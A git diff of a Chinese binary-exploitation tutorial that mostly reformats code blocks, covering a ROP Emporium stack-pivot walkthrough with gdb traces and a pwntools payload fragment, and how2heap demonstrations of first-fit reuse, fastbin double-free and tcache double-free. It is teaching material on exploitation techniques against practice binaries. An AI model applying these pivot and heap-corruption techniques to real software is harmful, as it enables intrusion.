leave -=> 0x80488a0 : ret +=> 0x80488a0 : ret 0x80488a1 : push ebp 0x80488a2 : mov ebp,esp 0x80488a4 : sub esp,0x8 0x80488a7 : call 0x80485f0 [------------------------------------stack-------------------------------------] 0000| 0xffe7ec6c --> 0x804889f (: leave) -0004| 0xffe7ec70 --> 0xf755000a --> 0x0 -0008| 0xffe7ec74 --> 0x0 -0012| 0xffe7ec78 --> 0x2 -0016| 0xffe7ec7c --> 0x0 -0020| 0xffe7ec80 --> 0x1 +0004| 0xffe7ec70 --> 0xf755000a --> 0x0 +0008| 0xffe7ec74 --> 0x0 +0012| 0xffe7ec78 --> 0x2 +0016| 0xffe7ec7c --> 0x0 +0020| 0xffe7ec80 --> 0x1 0024| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32") 0028| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (: jmp DWORD PTR ds:0x804a024) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488a0 in pwnme () ``` + EBP 的值 `0xffe7ec68` 被赋值给 ESP,然后从栈中弹出 `0xf755cf0c`,即 fake ebp 并赋值给 EBP,同时 ESP+4=`0xffe7ec6c`,指向第二次的 leave。 执行第一次 ret: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EBX: 0x0 +EBX: 0x0 ECX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EDX: 0xf7731860 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0xf755cf0c --> 0x0 -ESP: 0xffe7ec70 --> 0xf755000a --> 0x0 +EDX: 0xf7731860 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0xf755cf0c --> 0x0 +ESP: 0xffe7ec70 --> 0xf755000a --> 0x0 EIP: 0x804889f (: leave) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -1135,37 +1219,39 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804889b : add esp,0x10 0x804889e : nop => 0x804889f : leave - 0x80488a0 : ret + 0x80488a0 : ret 0x80488a1 : push ebp 0x80488a2 : mov ebp,esp 0x80488a4 : sub esp,0x8 [------------------------------------stack-------------------------------------] -0000| 0xffe7ec70 --> 0xf755000a --> 0x0 -0004| 0xffe7ec74 --> 0x0 -0008| 0xffe7ec78 --> 0x2 -0012| 0xffe7ec7c --> 0x0 -0016| 0xffe7ec80 --> 0x1 +0000| 0xffe7ec70 --> 0xf755000a --> 0x0 +0004| 0xffe7ec74 --> 0x0 +0008| 0xffe7ec78 --> 0x2 +0012| 0xffe7ec7c --> 0x0 +0016| 0xffe7ec80 --> 0x1 0020| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32") 0024| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (: jmp DWORD PTR ds:0x804a024) -0028| 0xffe7ec8c --> 0xf655d010 --> 0x0 +0028| 0xffe7ec8c --> 0xf655d010 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0804889f in pwnme () ``` + EIP=`0x804889f`,同时 ESP+4。 第二次 leave: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EBX: 0x0 +EBX: 0x0 ECX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EDX: 0xf7731860 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731860 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf10 --> 0x80485f0 (: jmp DWORD PTR ds:0x804a024) EIP: 0x80488a0 (: ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1173,7 +1259,7 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804889b : add esp,0x10 0x804889e : nop 0x804889f : leave -=> 0x80488a0 : ret +=> 0x80488a0 : ret 0x80488a1 : push ebp 0x80488a2 : mov ebp,esp 0x80488a4 : sub esp,0x8 @@ -1184,7 +1270,7 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0008| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (: push 0x30) 0012| 0xf755cf1c --> 0x80488c4 (: mov eax,DWORD PTR [eax]) 0016| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0020| 0xf755cf24 --> 0x1f7 +0020| 0xf755cf24 --> 0x1f7 0024| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0028| 0xf755cf2c --> 0x80486a3 (: call eax) [------------------------------------------------------------------------------] @@ -1195,19 +1281,21 @@ gdb-peda$ x/10w 0xf755cf10 0xf755cf20: 0x08048571 0x000001f7 0x080488c7 0x080486a3 0xf755cf30: 0x0000000a 0x00000000 ``` + EBP 的值 `0xf755cf0c` 被赋值给 ESP,并将 主payload 的 ebp 赋值给 EBP,同时 ESP+4=`0xf755cf10`,这个值正是我们 主payload 的地址。 第二次 ret: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EBX: 0x0 +EBX: 0x0 ECX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EDX: 0xf7731860 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731860 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf14 --> 0x80488c0 (: pop eax) EIP: 0x80485f0 (: jmp DWORD PTR ds:0x804a024) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1230,7 +1318,7 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0004| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (: push 0x30) 0008| 0xf755cf1c --> 0x80488c4 (: mov eax,DWORD PTR [eax]) 0012| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0016| 0xf755cf24 --> 0x1f7 +0016| 0xf755cf24 --> 0x1f7 0020| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0024| 0xf755cf2c --> 0x80486a3 (: call eax) 0028| 0xf755cf30 --> 0xa ('\n') @@ -1238,19 +1326,21 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) Legend: code, data, rodata, value 0x080485f0 in foothold_function@plt () ``` + 成功跳转到 `foothold_function@plt`,接下来系统通过 `_dl_runtime_resolve` 等步骤,将真正的地址写入到 `.got.plt` 中,我们构造 gadget 泄露出该地址地址,然后计算出 `ret2win()` 的地址,调用它,就成功了。 地址泄露的过程: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x54 ('T') -EBX: 0x0 +EBX: 0x0 ECX: 0x54 ('T') -EDX: 0xf7731854 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731854 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf18 --> 0x804a024 --> 0xf7772770 (: push ebp) EIP: 0x80488c0 (: pop eax) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1259,31 +1349,31 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x80488bc: xchg ax,ax 0x80488be: xchg ax,ax => 0x80488c0 : pop eax - 0x80488c1 : ret + 0x80488c1 : ret 0x80488c2 : xchg esp,eax - 0x80488c3 : ret + 0x80488c3 : ret 0x80488c4 : mov eax,DWORD PTR [eax] [------------------------------------stack-------------------------------------] 0000| 0xf755cf18 --> 0x804a024 --> 0xf7772770 (: push ebp) 0004| 0xf755cf1c --> 0x80488c4 (: mov eax,DWORD PTR [eax]) 0008| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0012| 0xf755cf24 --> 0x1f7 +0012| 0xf755cf24 --> 0x1f7 0016| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0020| 0xf755cf2c --> 0x80486a3 (: call eax) 0024| 0xf755cf30 --> 0xa ('\n') -0028| 0xf755cf34 --> 0x0 +0028| 0xf755cf34 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488c0 in usefulGadgets () gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x804a024 --> 0xf7772770 (: push ebp) -EBX: 0x0 +EBX: 0x0 ECX: 0x54 ('T') -EDX: 0xf7731854 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731854 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf1c --> 0x80488c4 (: mov eax,DWORD PTR [eax]) EIP: 0x80488c1 (: ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1291,102 +1381,105 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x80488bc: xchg ax,ax 0x80488be: xchg ax,ax 0x80488c0 : pop eax -=> 0x80488c1 : ret +=> 0x80488c1 : ret 0x80488c2 : xchg esp,eax - 0x80488c3 : ret + 0x80488c3 : ret 0x80488c4 : mov eax,DWORD PTR [eax] 0x80488c6 : ret [------------------------------------stack-------------------------------------] 0000| 0xf755cf1c --> 0x80488c4 (: mov eax,DWORD PTR [eax]) 0004| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0008| 0xf755cf24 --> 0x1f7 +0008| 0xf755cf24 --> 0x1f7 0012| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0016| 0xf755cf2c --> 0x80486a3 (: call eax) 0020| 0xf755cf30 --> 0xa ('\n') -0024| 0xf755cf34 --> 0x0 -0028| 0xf755cf38 --> 0x0 +0024| 0xf755cf34 --> 0x0 +0028| 0xf755cf38 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488c1 in usefulGadgets () gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x804a024 --> 0xf7772770 (: push ebp) -EBX: 0x0 +EBX: 0x0 ECX: 0x54 ('T') -EDX: 0xf7731854 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731854 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) EIP: 0x80488c4 (: mov eax,DWORD PTR [eax]) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x80488c1 : ret + 0x80488c1 : ret 0x80488c2 : xchg esp,eax - 0x80488c3 : ret + 0x80488c3 : ret => 0x80488c4 : mov eax,DWORD PTR [eax] - 0x80488c6 : ret + 0x80488c6 : ret 0x80488c7 : add eax,ebx - 0x80488c9 : ret + 0x80488c9 : ret 0x80488ca : xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0004| 0xf755cf24 --> 0x1f7 +0004| 0xf755cf24 --> 0x1f7 0008| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0012| 0xf755cf2c --> 0x80486a3 (: call eax) 0016| 0xf755cf30 --> 0xa ('\n') -0020| 0xf755cf34 --> 0x0 -0024| 0xf755cf38 --> 0x0 -0028| 0xf755cf3c --> 0x0 +0020| 0xf755cf34 --> 0x0 +0024| 0xf755cf38 --> 0x0 +0028| 0xf755cf3c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488c4 in usefulGadgets () gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xf7772770 (: push ebp) -EBX: 0x0 +EBX: 0x0 ECX: 0x54 ('T') -EDX: 0xf7731854 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0x0 +EDX: 0xf7731854 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0x0 ESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) EIP: 0x80488c6 (: ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488c2 : xchg esp,eax - 0x80488c3 : ret + 0x80488c3 : ret 0x80488c4 : mov eax,DWORD PTR [eax] -=> 0x80488c6 : ret +=> 0x80488c6 : ret 0x80488c7 : add eax,ebx - 0x80488c9 : ret + 0x80488c9 : ret 0x80488ca : xchg ax,ax 0x80488cc : xchg ax,ax [------------------------------------stack-------------------------------------] 0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx) -0004| 0xf755cf24 --> 0x1f7 +0004| 0xf755cf24 --> 0x1f7 0008| 0xf755cf28 --> 0x80488c7 (: add eax,ebx) 0012| 0xf755cf2c --> 0x80486a3 (: call eax) 0016| 0xf755cf30 --> 0xa ('\n') -0020| 0xf755cf34 --> 0x0 -0024| 0xf755cf38 --> 0x0 -0028| 0xf755cf3c --> 0x0 +0020| 0xf755cf34 --> 0x0 +0024| 0xf755cf38 --> 0x0 +0028| 0xf755cf3c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488c6 in usefulGadgets () ``` -#### pivot +### pivot + 基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如: + ```python payload_2 = "A" * 40 payload_2 += p64(pop_rax) payload_2 += p64(leakaddr) payload_2 += p64(xchg_rax_rsp) ``` + 实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`,leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。 -``` +```text $ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret" 0x0000000000400b09 : add rax, rbp ; ret 0x000000000040098e : call rax @@ -1395,6 +1488,7 @@ $ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret" 0x0000000000400900 : pop rbp ; ret 0x0000000000400b02 : xchg rax, rsp ; ret ``` + ```python from pwn import * @@ -1447,8 +1541,8 @@ print io.recvall() 这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。 - ## 更多资料 + - [ROP Emporium](https://ropemporium.com) - [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP) - [64-bit Linux Return-Oriented Programming](http://crypto.stanford.edu/~blynn/rop/) diff --git a/doc/3.1.6_heap_exploit_1.md b/doc/3.1.6_heap_exploit_1.md index 0843d7c..8ad90e7 100644 --- a/doc/3.1.6_heap_exploit_1.md +++ b/doc/3.1.6_heap_exploit_1.md @@ -10,22 +10,24 @@ - [house_of_spirit](#house_of_spirit) - [参考资料](#参考资料) - ## Linux 堆简介 + 堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。 更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。 对堆利用来说,不用于栈上的溢出能够直接覆盖函数的返回地址从而控制 EIP,只能通过间接手段来劫持程序控制流。 - ## how2heap + how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下: -``` -$ file /lib/x86_64-linux-gnu/libc-2.23.so + +```text +$ file /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped ``` -``` + +```text $ git clone https://github.com/shellphish/how2heap.git $ cd how2heap $ make @@ -33,7 +35,8 @@ $ make 请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/others/3.1.6_heap_exploit) -#### first_fit +### first_fit + ```c #include #include @@ -60,9 +63,10 @@ int main() { fprintf(stderr, "first allocation %p points to %s\n", a, a); } ``` -``` + +```text $ gcc -g first_fit.c -$ ./a.out +$ ./a.out 1st malloc(512): 0x1380010 2nd malloc(256): 0x1380220 first allocation 0x1380010 points to AAAAAAAA @@ -71,53 +75,60 @@ Freeing the first one... 3rd allocation 0x1380010 points to CCCCCCCC first allocation 0x1380010 points to CCCCCCCC ``` + 这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。 在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置): -``` + +```text gef➤ x/5gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a -0x602010: 0x4141414141414141 0x0000000000000000 -0x602020: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 gef➤ x/5gx 0x602220-0x10 -0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b -0x602220: 0x4242424242424242 0x0000000000000000 -0x602230: 0x0000000000000000 +0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 ``` + 第一个 free 之后,将其加入到 unsorted bin 中: -``` + +```text gef➤ x/5gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed] -0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer -0x602020: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed] +0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer +0x602020: 0x0000000000000000 gef➤ x/5gx 0x602220-0x10 -0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b -0x602220: 0x4242424242424242 0x0000000000000000 -0x602230: 0x0000000000000000 +0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin. ``` + 第三个 malloc 之后: -``` + +```text gef➤ x/5gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c -0x602010: 0x4343434343434343 0x00007ffff7dd1d00 -0x602020: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c +0x602010: 0x4343434343434343 0x00007ffff7dd1d00 +0x602020: 0x0000000000000000 gef➤ x/5gx 0x602220-0x10 -0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b -0x602220: 0x4242424242424242 0x0000000000000000 -0x602230: 0x0000000000000000 +0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b +0x602220: 0x4242424242424242 0x0000000000000000 +0x602230: 0x0000000000000000 ``` 所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。 好了,现在我们加上内存检测参数重新编译: -``` -$ gcc -fsanitize=address -g first_fit.c -$ ./a.out + +```text +$ gcc -fsanitize=address -g first_fit.c +$ ./a.out 1st malloc(512): 0x61500000fd00 2nd malloc(256): 0x611000009f00 first allocation 0x61500000fd00 points to AAAAAAAA @@ -145,9 +156,11 @@ previously allocated by thread T0 here: #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6 #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` + 一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 -#### fastbin_dup +### fastbin_dup + ```c #include #include @@ -184,9 +197,10 @@ int main() { fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f); } ``` -``` -$ gcc -g fastbin_dup.c -$ ./a.out + +```text +$ gcc -g fastbin_dup.c +$ ./a.out Allocating 3 buffers. 1st malloc(9) 0x1c07010 points to AAAAAAAA 2nd malloc(9) 0x1c07030 points to BBBBBBBB @@ -199,9 +213,11 @@ Allocating 3 buffers. 5nd malloc(9) 0x1c07030 points to EEEEEEEE 6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time ``` + 这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。 libc-2.23 中对 double-free 的检查过程如下: + ```c /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ @@ -211,86 +227,97 @@ libc-2.23 中对 double-free 的检查过程如下: goto errout; } ``` + 它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的。 三个 malloc 之后: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a -0x602010: 0x4141414141414141 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk -0x602070: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk +0x602070: 0x0000000000000000 ``` + 第一个 free 之后,chunk a 被添加到 fastbins 中: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] -0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ``` + 第二个 free 之后,chunk b 被添加到 fastbins 中: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] -0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] -0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ``` + 此时由于 chunk a 处于 bin 中第 2 块的位置,不会被 double-free 的检查机制检查出来。所以第三个 free 之后,chunk a 再次被添加到 fastbins 中: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again] -0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] -0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again] +0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected] ``` + 此时 chunk a 和 chunk b 似乎形成了一个环。 再三个 malloc 之后: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f -0x602010: 0x4646464646464646 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e -0x602030: 0x4545454545454545 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f +0x602010: 0x4646464646464646 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e +0x602030: 0x4545454545454545 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 ``` 所以对于 fastbins,可以通过 double-free 泄漏出一个堆块的指针。 加上内存检测参数重新编译: -``` + +```text $ gcc -fsanitize=address -g fastbin_dup.c -$ ./a.out +$ ./a.out Allocating 3 buffers. 1st malloc(9) 0x60200000eff0 points to AAAAAAAA 2nd malloc(9) 0x60200000efd0 points to BBBBBBBB @@ -316,9 +343,11 @@ previously allocated by thread T0 here: #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7 #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` + 一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子: + ```c #include #include @@ -349,9 +378,10 @@ int main() { } } ``` -``` + +```text $ gcc -g tcache_double-free.c -$ ./a.out +$ ./a.out First allocate a fastbin: p=0x559e30950260 Then free(p) 7 times free 1: 0x7ffc498b2958 => 0x559e30950260 @@ -377,7 +407,8 @@ double free or corruption (fasttop) [2] 1244 abort (core dumped) ./a.out ``` -#### 